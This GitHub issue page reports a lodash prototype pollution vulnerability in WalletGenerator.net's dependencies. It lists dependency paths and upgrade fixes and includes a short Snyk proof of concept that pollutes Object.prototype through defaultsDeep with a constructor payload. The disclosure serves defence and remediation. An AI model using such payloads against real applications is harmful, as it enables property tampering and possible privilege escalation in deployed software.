Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype Pollution #253

Open
larrycameron80 opened this issue Sep 17, 2019 · 0 comments
Open

Prototype Pollution #253

larrycameron80 opened this issue Sep 17, 2019 · 0 comments

Comments

@larrycameron80
Copy link

Prototype Pollution
Vulnerable module: lodash
Introduced through: [email protected]
Detailed paths
Introduced through: walletgenerator.net@walletgeneratornet/WalletGenerator.net › [email protected][email protected][email protected]
Introduced through: walletgenerator.net@walletgeneratornet/WalletGenerator.net › [email protected][email protected][email protected]
Remediation: Upgrade to [email protected].
Introduced through: walletgenerator.net@walletgeneratornet/WalletGenerator.net › [email protected][email protected][email protected][email protected]
Remediation: Upgrade to [email protected].
Introduced through: walletgenerator.net@walletgeneratornet/WalletGenerator.net › [email protected][email protected]
Remediation: Upgrade to [email protected].
Introduced through: walletgenerator.net@walletgeneratornet/WalletGenerator.net › [email protected][email protected][email protected]
Remediation: Upgrade to [email protected].
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[a0] === true) {
console.log(Vulnerable to Prototype Pollution via ${payload});
}
}

check();

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant